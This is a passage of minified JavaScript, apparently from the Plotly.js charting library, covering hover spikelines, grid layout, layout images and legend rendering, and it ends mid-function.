Ot=xe.spikesnap;Ot==="cursor"?(yt=le.pointerX,bt=le.pointerY):(yt=xe._offset+ut.x,bt=ke._offset+ut.y);var Ge=o.readability(ut.color,_e)<1.5?a.contrast(_e):ut.color,Le=xe.spikemode,Pe=xe.spikethickness,De=xe.spikecolor||Ge,Ee=u.getPxPosition(Q,xe),ye,ae;if(Le.indexOf("toaxis")!==-1||Le.indexOf("across")!==-1){if(Le.indexOf("toaxis")!==-1&&(ye=Ee,ae=bt),Le.indexOf("across")!==-1){var de=xe._counterDomainMin,Me=xe._counterDomainMax;xe.anchor==="free"&&(de=Math.min(de,xe.position),Me=Math.max(Me,xe.position)),ye=re.t+(1-Me)*re.h,ae=re.t+(1-de)*re.h}K.insert("line",":first-child").attr({x1:yt,x2:yt,y1:ye,y2:ae,"stroke-width":Pe,stroke:De,"stroke-dasharray":f.dashStyle(xe.spikedash,Pe)}).classed("spikeline",!0).classed("crisp",!0),K.insert("line",":first-child").attr({x1:yt,x2:yt,y1:ye,y2:ae,"stroke-width":Pe+2,stroke:_e}).classed("spikeline",!0).classed("crisp",!0)}Le.indexOf("marker")!==-1&&K.insert("circle",":first-child").attr({cx:yt,cy:Ee-(xe.side!=="top"?Pe:-Pe),r:Pe,fill:De}).classed("spikeline",!0)}}}function J(Q,ie,j){if(!j||j.length!==Q._hoverdata.length)return!0;for(var K=j.length-1;K>=0;K--){var oe=j[K],re=Q._hoverdata[K];if(oe.curveNumber!==re.curveNumber||String(oe.pointNumber)!==String(re.pointNumber)||String(oe.pointNumbers)!==String(re.pointNumbers))return!0}return!1}function q(Q,ie){return!0}function ne(Q,ie){return t.plainText(Q||"",{len:ie,allowedTags:["br","sub","sup","b","i","em"]})}function fe(Q,ie){for(var j=ie.charAt(0),K=[],oe=[],re=[],le=0;le<Q.length;le++){var pe=Q[le];s.traceIs(pe.trace,"bar-like")||s.traceIs(pe.trace,"box-violin")?re.push(pe):pe.trace[j+"period"]?oe.push(pe):K.push(pe)}return K.concat(oe).concat(re)}function X(Q,ie,j){var K=ie[Q+"a"],oe=ie[Q+"Val"],re=ie.cd[0];if(K.type==="category"||K.type==="multicategory")oe=K._categoriesMap[oe];else if(K.type==="date"){var le=ie.trace[Q+"periodalignment"];if(le){var pe=ie.cd[ie.index],we=pe[Q+"Start"];we===void 0&&(we=pe[Q]);var xe=pe[Q+"End"];xe===void 0&&(xe=pe[Q]);var ke=xe-we;le==="end"?oe+=ke:le==="middle"&&(oe+=ke/2)}oe=K.d2c(oe)}return re&&re.t&&re.t.posLetter===K._id&&(j.boxmode==="group"||j.violinmode==="group")&&(oe+=re.t.dPos),oe}function W(Q){return Q.offsetTop+Q.clientTop}function V(Q){return Q.offsetLeft+Q.clientLeft}function Y(Q,ie){var j=Q._fullLayout,K=ie.getBoundingClientRect(),oe=K.left,re=K.top,le=oe+K.width,pe=re+K.height,we=L.apply3DTransform(j._invTransform)(oe,re),xe=L.apply3DTransform(j._invTransform)(le,pe),ke=we[0],_e=we[1],be=xe[0],ge=xe[1];return{x:ke,y:_e,width:be-ke,height:ge-_e,top:Math.min(_e,ge),left:Math.min(ke,be),right:Math.max(ke,be),bottom:Math.max(_e,ge)}}},38048:function(te,Z,e){var M=e(71828),P=e(7901),o=e(23469).isUnifiedHover;te.exports=function(S,d,g,t){t=t||{};var r=d.legend;function f(a){t.font[a]||(t.font[a]=r?d.legend.font[a]:d.font[a])}d&&o(d.hovermode)&&(t.font||(t.font={}),f("size"),f("family"),f("color"),r?(t.bgcolor||(t.bgcolor=P.combine(d.legend.bgcolor,d.paper_bgcolor)),t.bordercolor||(t.bordercolor=d.legend.bordercolor)):t.bgcolor||(t.bgcolor=d.paper_bgcolor)),g("hoverlabel.bgcolor",t.bgcolor),g("hoverlabel.bordercolor",t.bordercolor),g("hoverlabel.namelength",t.namelength),M.coerceFont(g,"hoverlabel.font",t.font),g("hoverlabel.align",t.align)}},98212:function(te,Z,e){var M=e(71828),P=e(528);te.exports=function(L,S){function d(g,t){return S[g]!==void 0?S[g]:M.coerce(L,S,P,g,t)}return d("clickmode"),d("hovermode")}},30211:function(te,Z,e){var M=e(39898),P=e(71828),o=e(28569),L=e(23469),S=e(528),d=e(88335);te.exports={moduleType:"component",name:"fx",constants:e(26675),schema:{layout:S},attributes:e(77914),layoutAttributes:S,supplyLayoutGlobalDefaults:e(22774),supplyDefaults:e(54268),supplyLayoutDefaults:e(34938),calc:e(30732),getDistanceFunction:L.getDistanceFunction,getClosest:L.getClosest,inbox:L.inbox,quadrature:L.quadrature,appendArrayPointValue:L.appendArrayPointValue,castHoverOption:t,castHoverinfo:r,hover:d.hover,unhover:o.unhover,loneHover:d.loneHover,loneUnhover:g,click:e(75914)};function g(f){var a=P.isD3Selection(f)?f:M.select(f);a.selectAll("g.hovertext").remove(),a.selectAll(".spikeline").remove()}function t(f,a,l){return P.castOption(f,a,"hoverlabel."+l)}function r(f,a,l){function u(s){return P.coerceHoverinfo({hoverinfo:s},{_module:f._module},a)}return P.castOption(f,l,"hoverinfo",u)}},528:function(te,Z,e){var M=e(26675),P=e(41940),o=P({editType:"none"});o.family.dflt=M.HOVERFONT,o.size.dflt=M.HOVERFONTSIZE,te.exports={clickmode:{valType:"flaglist",flags:["event","select"],dflt:"event",editType:"plot",extras:["none"]},dragmode:{valType:"enumerated",values:["zoom","pan","select","lasso","drawclosedpath","drawopenpath","drawline","drawrect","drawcircle","orbit","turntable",!1],dflt:"zoom",editType:"modebar"},hovermode:{valType:"enumerated",values:["x","y","closest",!1,"x unified","y unified"],dflt:"closest",editType:"modebar"},hoverdistance:{valType:"integer",min:-1,dflt:20,editType:"none"},spikedistance:{valType:"integer",min:-1,dflt:-1,editType:"none"},hoverlabel:{bgcolor:{valType:"color",editType:"none"},bordercolor:{valType:"color",editType:"none"},font:o,grouptitlefont:P({editType:"none"}),align:{valType:"enumerated",values:["left","right","auto"],dflt:"auto",editType:"none"},namelength:{valType:"integer",min:-1,dflt:15,editType:"none"},editType:"none"},selectdirection:{valType:"enumerated",values:["h","v","d","any"],dflt:"any",editType:"none"}}},34938:function(te,Z,e){var M=e(71828),P=e(528),o=e(98212),L=e(38048);te.exports=function(d,g){function t(s,y){return M.coerce(d,g,P,s,y)}var r=o(d,g);r&&(t("hoverdistance"),t("spikedistance"));var f=t("dragmode");f==="select"&&t("selectdirection");var a=g._has("mapbox"),l=g._has("geo"),u=g._basePlotModules.length;g.dragmode==="zoom"&&((a||l)&&u===1||a&&l&&u===2)&&(g.dragmode="pan"),L(d,g,t),M.coerceFont(t,"hoverlabel.grouptitlefont",g.hoverlabel.font)}},22774:function(te,Z,e){var M=e(71828),P=e(38048),o=e(528);te.exports=function(S,d){function g(t,r){return M.coerce(S,d,o,t,r)}P(S,d,g)}},83312:function(te,Z,e){var M=e(71828),P=e(30587).counter,o=e(27670).Y,L=e(85555).idRegex,S=e(44467),d={rows:{valType:"integer",min:1,editType:"plot"},roworder:{valType:"enumerated",values:["top to bottom","bottom to top"],dflt:"top to bottom",editType:"plot"},columns:{valType:"integer",min:1,editType:"plot"},subplots:{valType:"info_array",freeLength:!0,dimensions:2,items:{valType:"enumerated",values:[P("xy").toString(),""],editType:"plot"},editType:"plot"},xaxes:{valType:"info_array",freeLength:!0,items:{valType:"enumerated",values:[L.x.toString(),""],editType:"plot"},editType:"plot"},yaxes:{valType:"info_array",freeLength:!0,items:{valType:"enumerated",values:[L.y.toString(),""],editType:"plot"},editType:"plot"},pattern:{valType:"enumerated",values:["independent","coupled"],dflt:"coupled",editType:"plot"},xgap:{valType:"number",min:0,max:1,editType:"plot"},ygap:{valType:"number",min:0,max:1,editType:"plot"},domain:o({name:"grid",editType:"plot",noGridCell:!0},{}),xside:{valType:"enumerated",values:["bottom","bottom plot","top plot","top"],dflt:"bottom plot",editType:"plot"},yside:{valType:"enumerated",values:["left","left plot","right plot","right"],dflt:"left plot",editType:"plot"},editType:"plot"};function g(l,u,s){var y=u[s+"axes"],c=Object.keys((l._splomAxes||{})[s]||{});if(Array.isArray(y))return y;if(c.length)return c}function t(l,u){var s=l.grid||{},y=g(u,s,"x"),c=g(u,s,"y");if(!l.grid&&!y&&!c)return;var b=Array.isArray(s.subplots)&&Array.isArray(s.subplots[0]),h=Array.isArray(y),i=Array.isArray(c),v=h&&y!==s.xaxes&&i&&c!==s.yaxes,T,w;b?(T=s.subplots.length,w=s.subplots[0].length):(i&&(T=c.length),h&&(w=y.length));var E=S.newContainer(u,"grid");function p(F,O){return M.coerce(s,E,d,F,O)}var A=p("rows",T),m=p("columns",w);if(!(A*m>1)){delete u.grid;return}if(!b&&!h&&!i){var n=p("pattern")==="independent";n&&(b=!0)}E._hasSubplotGrid=b;var C=p("roworder"),x=C==="top to bottom",I=b?.2:.1,k=b?.3:.1,B,_;v&&u._splomGridDflt&&(B=u._splomGridDflt.xside,_=u._splomGridDflt.yside),E._domains={x:r("x",p,I,B,m),y:r("y",p,k,_,A,x)}}function r(l,u,s,y,c,b){var h=u(l+"gap",s),i=u("domain."+l);u(l+"side",y);for(var v=new Array(c),T=i[0],w=(i[1]-T)/(c-h),E=w*(1-h),p=0;p<c;p++){var A=T+w*p;v[b?c-1-p:p]=[A,A+E]}return v}function f(l,u){var s=u.grid;if(!(!s||!s._domains)){var y=l.grid||{},c=u._subplots,b=s._hasSubplotGrid,h=s.rows,i=s.columns,v=s.pattern==="independent",T,w,E,p,A,m,n,C=s._axisMap={};if(b){var x=y.subplots||[];m=s.subplots=new Array(h);var I=1;for(T=0;T<h;T++){var k=m[T]=new Array(i),B=x[T]||[];for(w=0;w<i;w++)if(v?(A=I===1?"xy":"x"+I+"y"+I,I++):A=B[w],k[w]="",c.cartesian.indexOf(A)!==-1){if(n=A.indexOf("y"),E=A.slice(0,n),p=A.slice(n),C[E]!==void 0&&C[E]!==w||C[p]!==void 0&&C[p]!==T)continue;k[w]=A,C[E]=w,C[p]=T}}}else{var _=g(u,y,"x"),F=g(u,y,"y");s.xaxes=a(_,c.xaxis,i,C,"x"),s.yaxes=a(F,c.yaxis,h,C,"y")}var O=s._anchors={},z=s.roworder==="top to bottom";for(var N in C){var G=N.charAt(0),J=s[G+"side"],q,ne,fe;if(J.length<8)O[N]="free";else if(G==="x"){if(J.charAt(0)==="t"===z?(q=0,ne=1,fe=h):(q=h-1,ne=-1,fe=-1),b){var X=C[N];for(T=q;T!==fe;T+=ne)if(A=m[T][X],!!A&&(n=A.indexOf("y"),A.slice(0,n)===N)){O[N]=A.slice(n);break}}else for(T=q;T!==fe;T+=ne)if(p=s.yaxes[T],c.cartesian.indexOf(N+p)!==-1){O[N]=p;break}}else if(J.charAt(0)==="l"?(q=0,ne=1,fe=i):(q=i-1,ne=-1,fe=-1),b){var W=C[N];for(T=q;T!==fe;T+=ne)if(A=m[W][T],!!A&&(n=A.indexOf("y"),A.slice(n)===N)){O[N]=A.slice(0,n);break}}else for(T=q;T!==fe;T+=ne)if(E=s.xaxes[T],c.cartesian.indexOf(E+N)!==-1){O[N]=E;break}}}}function a(l,u,s,y,c){var b=new Array(s),h;function i(v,T){u.indexOf(T)!==-1&&y[T]===void 0?(b[v]=T,y[T]=v):b[v]=""}if(Array.isArray(l))for(h=0;h<s;h++)i(h,l[h]);else for(i(0,c),h=1;h<s;h++)i(h,c+(h+1));return b}te.exports={moduleType:"component",name:"grid",schema:{layout:{grid:d}},layoutAttributes:d,sizeDefaults:t,contentDefaults:f}},69819:function(te,Z,e){var M=e(85555),P=e(44467).templatedArray;e(24695),te.exports=P("image",{visible:{valType:"boolean",dflt:!0,editType:"arraydraw"},source:{valType:"string",editType:"arraydraw"},layer:{valType:"enumerated",values:["below","above"],dflt:"above",editType:"arraydraw"},sizex:{valType:"number",dflt:0,editType:"arraydraw"},sizey:{valType:"number",dflt:0,editType:"arraydraw"},sizing:{valType:"enumerated",values:["fill","contain","stretch"],dflt:"contain",editType:"arraydraw"},opacity:{valType:"number",min:0,max:1,dflt:1,editType:"arraydraw"},x:{valType:"any",dflt:0,editType:"arraydraw"},y:{valType:"any",dflt:0,editType:"arraydraw"},xanchor:{valType:"enumerated",values:["left","center","right"],dflt:"left",editType:"arraydraw"},yanchor:{valType:"enumerated",values:["top","middle","bottom"],dflt:"top",editType:"arraydraw"},xref:{valType:"enumerated",values:["paper",M.idRegex.x.toString()],dflt:"paper",editType:"arraydraw"},yref:{valType:"enumerated",values:["paper",M.idRegex.y.toString()],dflt:"paper",editType:"arraydraw"},editType:"arraydraw"})},75378:function(te,Z,e){var M=e(92770),P=e(58163);te.exports=function(L,S,d,g){S=S||{};var t=d==="log"&&S.type==="linear",r=d==="linear"&&S.type==="log";if(t||r){for(var f=L._fullLayout.images,a=S._id.charAt(0),l,u,s=0;s<f.length;s++)if(l=f[s],u="images["+s+"].",l[a+"ref"]===S._id){var y=l[a],c=l["size"+a],b=null,h=null;if(t){b=P(y,S.range);var i=c/Math.pow(10,b)/2;h=2*Math.log(i+Math.sqrt(1+i*i))/Math.LN10}else b=Math.pow(10,y),h=b*(Math.pow(10,c/2)-Math.pow(10,-c/2));M(b)?M(h)||(h=null):(b=null,h=null),g(u+a,b),g(u+"size"+a,h)}}}},81603:function(te,Z,e){var M=e(71828),P=e(89298),o=e(85501),L=e(69819),S="images";te.exports=function(t,r){var f={name:S,handleItemDefaults:d};o(t,r,f)};function d(g,t,r){function f(i,v){return M.coerce(g,t,L,i,v)}var a=f("source"),l=f("visible",!!a);if(!l)return t;f("layer"),f("xanchor"),f("yanchor"),f("sizex"),f("sizey"),f("sizing"),f("opacity");for(var u={_fullLayout:r},s=["x","y"],y=0;y<2;y++){var c=s[y],b=P.coerceRef(g,t,u,c,"paper",void 0);if(b!=="paper"){var h=P.getFromId(u,b);h._imgIndices.push(t._index)}P.coercePosition(t,u,f,b,c,0)}return t}},80750:function(te,Z,e){var M=e(39898),P=e(91424),o=e(89298),L=e(41675),S=e(77922);te.exports=function(g){var t=g._fullLayout,r=[],f={},a=[],l,u;for(u=0;u<t.images.length;u++){var s=t.images[u];if(s.visible)if(s.layer==="below"&&s.xref!=="paper"&&s.yref!=="paper"){l=L.ref2id(s.xref)+L.ref2id(s.yref);var y=t._plots[l];if(!y){a.push(s);continue}y.mainplot&&(l=y.mainplot.id),f[l]||(f[l]=[]),f[l].push(s)}else s.layer==="above"?r.push(s):a.push(s)}var c={x:{left:{sizing:"xMin",offset:0},center:{sizing:"xMid",offset:-1/2},right:{sizing:"xMax",offset:-1}},y:{top:{sizing:"YMin",offset:0},middle:{sizing:"YMid",offset:-1/2},bottom:{sizing:"YMax",offset:-1}}};function b(p){var A=M.select(this);if(this._imgSrc!==p.source)if(A.attr("xmlns",S.svg),p.source&&p.source.slice(0,5)==="data:")A.attr("xlink:href",p.source),this._imgSrc=p.source;else{var m=new Promise((function(n){var C=new Image;this.img=C,C.setAttribute("crossOrigin","anonymous"),C.onerror=x,C.onload=function(){var I=document.createElement("canvas");I.width=this.width,I.height=this.height;var k=I.getContext("2d",{willReadFrequently:!0});k.drawImage(this,0,0);var B=I.toDataURL("image/png");A.attr("xlink:href",B),n()},A.on("error",x),C.src=p.source,this._imgSrc=p.source;function x(){A.remove(),n()}}).bind(this));g._promises.push(m)}}function h(p){var A=M.select(this),m=o.getFromId(g,p.xref),n=o.getFromId(g,p.yref),C=o.getRefType(p.xref)==="domain",x=o.getRefType(p.yref)==="domain",I=t._size,k,B;m!==void 0?k=typeof p.xref=="string"&&C?m._length*p.sizex:Math.abs(m.l2p(p.sizex)-m.l2p(0)):k=p.sizex*I.w,n!==void 0?B=typeof p.yref=="string"&&x?n._length*p.sizey:Math.abs(n.l2p(p.sizey)-n.l2p(0)):B=p.sizey*I.h;var _=k*c.x[p.xanchor].offset,F=B*c.y[p.yanchor].offset,O=c.x[p.xanchor].sizing+c.y[p.yanchor].sizing,z,N;switch(m!==void 0?z=typeof p.xref=="string"&&C?m._length*p.x+m._offset:m.r2p(p.x)+m._offset:z=p.x*I.w+I.l,z+=_,n!==void 0?N=typeof p.yref=="string"&&x?n._length*(1-p.y)+n._offset:n.r2p(p.y)+n._offset:N=I.h-p.y*I.h+I.t,N+=F,p.sizing){case"fill":O+=" slice";break;case"stretch":O="none";break}A.attr({x:z,y:N,width:k,height:B,preserveAspectRatio:O,opacity:p.opacity});var G=m&&o.getRefType(p.xref)!=="domain"?m._id:"",J=n&&o.getRefType(p.yref)!=="domain"?n._id:"",q=G+J;P.setClipUrl(A,q?"clip"+t._uid+q:null,g)}var i=t._imageLowerLayer.selectAll("image").data(a),v=t._imageUpperLayer.selectAll("image").data(r);i.enter().append("image"),v.enter().append("image"),i.exit().remove(),v.exit().remove(),i.each(function(p){b.bind(this)(p),h.bind(this)(p)}),v.each(function(p){b.bind(this)(p),h.bind(this)(p)});var T=Object.keys(t._plots);for(u=0;u<T.length;u++){l=T[u];var w=t._plots[l];if(w.imagelayer){var E=w.imagelayer.selectAll("image").data(f[l]||[]);E.enter().append("image"),E.exit().remove(),E.each(function(p){b.bind(this)(p),h.bind(this)(p)})}}}},68804:function(te,Z,e){te.exports={moduleType:"component",name:"images",layoutAttributes:e(69819),supplyLayoutDefaults:e(81603),includeBasePlot:e(76325)("images"),draw:e(80750),convertCoords:e(75378)}},33030:function(te,Z,e){var M=e(41940),P=e(22399);te.exports={_isSubplotObj:!0,visible:{valType:"boolean",dflt:!0,editType:"legend"},bgcolor:{valType:"color",editType:"legend"},bordercolor:{valType:"color",dflt:P.defaultLine,editType:"legend"},borderwidth:{valType:"number",min:0,dflt:0,editType:"legend"},font:M({editType:"legend"}),grouptitlefont:M({editType:"legend"}),orientation:{valType:"enumerated",values:["v","h"],dflt:"v",editType:"legend"},traceorder:{valType:"flaglist",flags:["reversed","grouped"],extras:["normal"],editType:"legend"},tracegroupgap:{valType:"number",min:0,dflt:10,editType:"legend"},entrywidth:{valType:"number",min:0,editType:"legend"},entrywidthmode:{valType:"enumerated",values:["fraction","pixels"],dflt:"pixels",editType:"legend"},itemsizing:{valType:"enumerated",values:["trace","constant"],dflt:"trace",editType:"legend"},itemwidth:{valType:"number",min:30,dflt:30,editType:"legend"},itemclick:{valType:"enumerated",values:["toggle","toggleothers",!1],dflt:"toggle",editType:"legend"},itemdoubleclick:{valType:"enumerated",values:["toggle","toggleothers",!1],dflt:"toggleothers",editType:"legend"},groupclick:{valType:"enumerated",values:["toggleitem","togglegroup"],dflt:"togglegroup",editType:"legend"},x:{valType:"number",editType:"legend"},xref:{valType:"enumerated",dflt:"paper",values:["container","paper"],editType:"layoutstyle"},xanchor:{valType:"enumerated",values:["auto","left","center","right"],dflt:"left",editType:"legend"},y:{valType:"number",editType:"legend"},yref:{valType:"enumerated",dflt:"paper",values:["container","paper"],editType:"layoutstyle"},yanchor:{valType:"enumerated",values:["auto","top","middle","bottom"],editType:"legend"},uirevision:{valType:"any",editType:"none"},valign:{valType:"enumerated",values:["top","middle","bottom"],dflt:"middle",editType:"legend"},title:{text:{valType:"string",dflt:"",editType:"legend"},font:M({editType:"legend"}),side:{valType:"enumerated",values:["top","left","top left"],editType:"legend"},editType:"legend"},editType:"legend"}},14928:function(te){te.exports={scrollBarWidth:6,scrollBarMinHeight:20,scrollBarColor:"#808BA4",scrollBarMargin:4,scrollBarEnterAttrs:{rx:20,ry:3,width:0,height:0},titlePad:2,itemGap:5}},99017:function(te,Z,e){var M=e(73972),P=e(71828),o=e(44467),L=e(9012),S=e(33030),d=e(10820),g=e(10130);function t(r,f,a,l){var u=f[r]||{},s=o.newContainer(a,r);function y(fe,X){return P.coerce(u,s,S,fe,X)}var c=P.coerceFont(y,"font",a.font);y("bgcolor",a.paper_bgcolor),y("bordercolor");var b=y("visible");if(b){for(var h,i=function(fe,X){var W=h._input,V=h;return P.coerce(W,V,L,fe,X)},v=a.font||{},T=P.coerceFont(y,"grouptitlefont",P.extendFlat({},v,{size:Math.round(v.size*1.1)})),w=0,E=!1,p="normal",A=(a.shapes||[]).filter(function(fe){return fe.showlegend}),m=l.concat(A).filter(function(fe){return r===(fe.legend||"legend")}),n=0;n<m.length;n++)if(h=m[n],!!h.visible){var C=h._isShape;(h.showlegend||h._dfltShowLegend&&!(h._module&&h._module.attributes&&h._module.attributes.showlegend&&h._module.attributes.showlegend.dflt===!1))&&(w++,h.showlegend&&(E=!0,(!C&&M.traceIs(h,"pie-like")||h._input.showlegend===!0)&&w++),P.coerceFont(i,"legendgrouptitle.font",T)),(!C&&M.traceIs(h,"bar")&&a.barmode==="stack"||["tonextx","tonexty"].indexOf(h.fill)!==-1)&&(p=g.isGrouped({traceorder:p})?"grouped+reversed":"reversed"),h.legendgroup!==void 0&&h.legendgroup!==""&&(p=g.isReversed({traceorder:p})?"reversed+grouped":"grouped")}var x=P.coerce(f,a,d,"showlegend",E&&w>(r==="legend"?1:0));if(x===!1&&(a[r]=void 0),!(x===!1&&!u.uirevision)&&(y("uirevision",a.uirevision),x!==!1)){y("borderwidth");var I=y("orientation"),k=y("yref"),B=y("xref"),_=I==="h",F=k==="paper",O=B==="paper",z,N,G,J="left";_?(z=0,M.getComponentMethod("rangeslider","isVisible")(f.xaxis)?F?(N=1.1,G="bottom"):(N=1,G="top"):F?(N=-.1,G="top"):(N=0,G="bottom")):(N=1,G="auto",O?z=1.02:(z=1,J="right")),P.coerce(u,s,{x:{valType:"number",editType:"legend",min:O?-2:0,max:O?3:1,dflt:z}},"x"),P.coerce(u,s,{y:{valType:"number",editType:"legend",min:F?-2:0,max:F?3:1,dflt:N}},"y"),y("traceorder",p),g.isGrouped(a[r])&&y("tracegroupgap"),y("entrywidth"),y("entrywidthmode"),y("itemsizing"),y("itemwidth"),y("itemclick"),y("itemdoubleclick"),y("groupclick"),y("xanchor",J),y("yanchor",G),y("valign"),P.noneOrAll(u,s,["x","y"]);var q=y("title.text");if(q){y("title.side",_?"left":"top");var ne=P.extendFlat({},c,{size:P.bigFont(c.size)});P.coerceFont(y,"title.font",ne)}}}}te.exports=function(f,a,l){var u,s=l.slice(),y=a.shapes;if(y)for(u=0;u<y.length;u++){var c=y[u];if(c.showlegend){var b={_input:c._input,visible:c.visible,showlegend:c.showlegend,legend:c.legend};s.push(b)}}var h=["legend"];for(u=0;u<s.length;u++)P.pushUnique(h,s[u].legend);for(a._legends=[],u=0;u<h.length;u++){var i=h[u];t(i,f,a,s),a[i]&&a[i].visible&&(a[i]._id=i),a._legends.push(i)}}},43969:function(te,Z,e){var M=e(39898),P=e(71828),o=e(74875),L=e(73972),S=e(11086),d=e(28569),g=e(91424),t=e(7901),r=e(63893),f=e(85167),a=e(14928),l=e(18783),u=l.LINE_SPACING,s=l.FROM_TL,y=l.FROM_BR,c=e(82424),b=e(53630),h=e(10130),i=1,v=/^legend[0-9]*$/;te.exports=function(z,N){if(N)T(z,N);else{var G=z._fullLayout,J=G._legends,q=G._infolayer.selectAll('[class^="legend"]');q.each(function(){var W=M.select(this),V=W.attr("class"),Y=V.split(" ")[0];Y.match(v)&&J.indexOf(Y)===-1&&W.remove()});for(var ne=0;ne<J.length;ne++){var fe=J[ne],X=z._fullLayout[fe];T(z,X)}}};function T(O,z){var N=z||{},G=O._fullLayout,J=F(N),q,ne,fe=N._inHover;if(fe?(ne=N.layer,q="hover"):(ne=G._infolayer,q=J),!!ne){q+=G._uid,O._legendMouseDownTime||(O._legendMouseDownTime=0);var X;if(fe){if(!N.entries)return;X=c(N.entries,N)}else{for(var W=(O.calcdata||[]).slice(),V=G.shapes,Y=0;Y<V.length;Y++){var Q=V[Y];if(Q.showlegend){var ie={_isShape:!0,_fullInput:Q,index:Q._index,name:Q.name||Q.label.text||"shape "+Q._index,legend:Q.legend,legendgroup:Q.legendgroup,legendgrouptitle:Q.legendgrouptitle,legendrank:Q.legendrank,legendwidth:Q.legendwidth,showlegend:Q.showlegend,visible:Q.visible,opacity:Q.opacity,mode:Q.type==="line"?"lines":"markers",line:Q.line,marker:{line:Q.line,color:Q.fillcolor,size:12,symbol:Q.type==="rect"?"square":Q.type==="circle"?"circle":"hexagon2"}};W.push([{trace:ie}])}}if(!W.length)return;X=G.showlegend&&c(W,N,G._legends.length>1)}var j=G.hiddenlabels||[];if(!fe&&(!G.showlegend||!X.length))return ne.selectAll("."+J).remove(),G._topdefs.select("#"+q).remove(),o.autoMargin(O,J);var K=P.ensureSingle(ne,"g",J,function(be){fe||be.attr("pointer-events","all")}),oe=P.ensureSingleById(G._topdefs,"clipPath",q,function(be){be.append("rect")}),re=P.ensureSingle(K,"rect","bg",function(be){be.attr("shape-rendering","crispEdges")});re.call(t.stroke,N.bordercolor).call(t.fill,N.bgcolor).style("stroke-width",N.borderwidth+"px");var le=P.ensureSingle(K,"g","scrollbox"),pe=N.title;if(N._titleWidth=0,N._titleHeight=0,pe.text){var we=P.ensureSingle(le,"text",J+"titletext");we.attr("text-anchor","start").call(g.font,pe.font).text(pe.text),n(we,le,O,N,i)}else le.selectAll("."+J+"titletext").remove();var xe=P.ensureSingle(K,"rect","scrollbar",function(be){be.attr(a.scrollBarEnterAttrs).call(t.fill,a.scrollBarColor)}),ke=le.selectAll("g.groups").data(X);ke.enter().append("g").attr("class","groups"),ke.exit().remove();var _e=ke.selectAll("g.traces").data(P.identity);_e.enter().append("g").attr("class","traces"),_e.exit().remove(),_e.style("opacity",function(be){var ge=be[0].trace;return L.traceIs(ge,"pie-like")?j.indexOf(be[0].label)!==-1?.5:1:ge.visible==="legendonly"?.5:1}).each(function(){M.select(this).call(p,O,N)}).call(b,O,N).each(function(){fe||M.select(this).call(m,O,J)}),P.syncOrAsync([o.previousPromises,function(){return I(O,ke,_e,N)},function(){var be=G._size,ge=N.borderwidth,Te=N.xref==="paper",Fe=N.yref==="paper";if(!fe){var Oe,Ce;Te?Oe=be.l+be.w*N.x-s[B(N)]*N._width:Oe=G.width*N.x-s[B(N)]*N._width,Fe?Ce=be.t+be.h*(1-N.y)-s[_(N)]*N._effHeight:Ce=G.height*(1-N.y)-s[_(N)]*N._effHeight;var Be=k(O,J,Oe,Ce);if(Be)return;if(G.margin.autoexpand){var $e=Oe,Xe=Ce;Oe=Te?P.constrain(Oe,0,G.width-N._width):$e,Ce=Fe?P.constrain(Ce,0,G.height-N._effHeight):Xe,Oe!==$e&&P.log("Constrain "+J+".x to make legend fit inside graph"),Ce!==Xe&&P.log("Constrain "+J+".y to make legend fit inside graph")}g.setTranslate(K,Oe,Ce)}if(xe.on(".drag",null),K.on("wheel",null),fe||N._height<=N._maxHeight||O._context.staticPlot){var Ze=N._effHeight;fe&&(Ze=N._height),re.attr({width:N._width-ge,height:Ze-ge,x:ge/2,y:ge/2}),g.setTranslate(le,0,0),oe.select("rect").attr({width:N._width-2*ge,height:Ze-2*ge,x:ge,y:ge}),g.setClipUrl(le,q,O),g.setRect(xe,0,0,0,0),delete N._scrollY}else{var Ke=Math.max(a.scrollBarMinHeight,N._effHeight*N._effHeight/N._height),st=N._effHeight-Ke-2*a.scrollBarMargin,lt=N._height-N._effHeight,ut=st/lt,yt=Math.min(N._scrollY||0,lt);re.attr({width:N._width-2*ge+a.scrollBarWidth+a.scrollBarMargin,height:N._effHeight-ge,x:ge/2,y:ge/2}),oe.select("rect").attr({width:N._width-2*ge+a.scrollBarWidth+a.scrollBarMargin,height:N._effHeight-2*ge,x:ge,y:ge+yt}),g.setClipUrl(le,q,O),ye(yt,Ke,ut),K.on("wheel",function(){yt=P.constrain(N._scrollY+M.event.deltaY/st*lt,0,lt),ye(yt,Ke,ut),yt!==0&&yt!==lt&&M.event.preventDefault()});var bt,Ot,Ge,Le=function(Qe,et,pt){var St=(pt-et)/ut+Qe;return P.constrain(St,0,lt)},Pe=function(Qe,et,pt){var St=(et-pt)/ut+Qe;return P.constrain(St,0,lt)},De=M.behavior.drag().on("dragstart",function(){var Qe=M.event.sourceEvent;Qe.type==="touchstart"?bt=Qe.changedTouches[0].clientY:bt=Qe.clientY,Ge=yt}).on("drag",function(){var Qe=M.event.sourceEvent;Qe.buttons===2||Qe.ctrlKey||(Qe.type==="touchmove"?Ot=Qe.changedTouches[0].clientY:Ot=Qe.clientY,yt=Le(Ge,bt,Ot),ye(yt,Ke,ut))});xe.call(De);var Ee=M.behavior.drag().on("dragstart",function(){var Qe=M.event.sourceEvent;Qe.type==="touchstart"&&(bt=Qe.changedTouches[0].clientY,Ge=yt)}).on("drag",function(){var Qe=M.event.sourceEvent;Qe.type==="touchmove"&&(Ot=Qe.changedTouches[0].clientY,yt=Pe(Ge,bt,Ot),ye(yt,Ke,ut))});le.call(Ee)}function ye(Qe,et,pt){N._scrollY=O._fullLayout[J]._scrollY=Qe,g.setTranslate(le,0,-Qe),g.setRect(xe,N._width,a.scrollBarMargin+Qe*pt,a.scrollBarWidth,et),oe.select("rect").attr("y",ge+Qe)}if(O._context.edits.legendPosition){var ae,de,Me,Ie;K.classed("cursor-move",!0),d.init({element:K.node(),gd:O,prepFn:function(){var Qe=g.getTranslate(K);Me=Qe.x,Ie=Qe.y},moveFn:function(Qe,et){var pt=Me+Qe,St=Ie+et;g.setTranslate(K,pt,St),ae=d.align(pt,N._width,be.l,be.l+be.w,N.xanchor),de=d.align(St+N._height,-N._height,be.t+be.h,be.t,N.yanchor)},doneFn:function(){if(ae!==void 0&&de!==void 0){var Qe={};Qe[J+".x"]=ae,Qe[J+".y"]=de,L.call("_guiRelayout",O,Qe)}},clickFn:function(Qe,et){var pt=ne.selectAll("g.traces").filter(function(){var St=this.getBoundingClientRect();return et.clientX>=St.left&&et.clientX<=St.right&&et.clientY>=St.top&&et.clientY<=St.bottom});pt.size()>0&&E(O,K,pt,Qe,et)}})}}],O)}}function w(O,z,N){var G=O[0],J=G.width,q=z.entrywidthmode,ne=G.trace.legendwidth||z.entrywidth;return 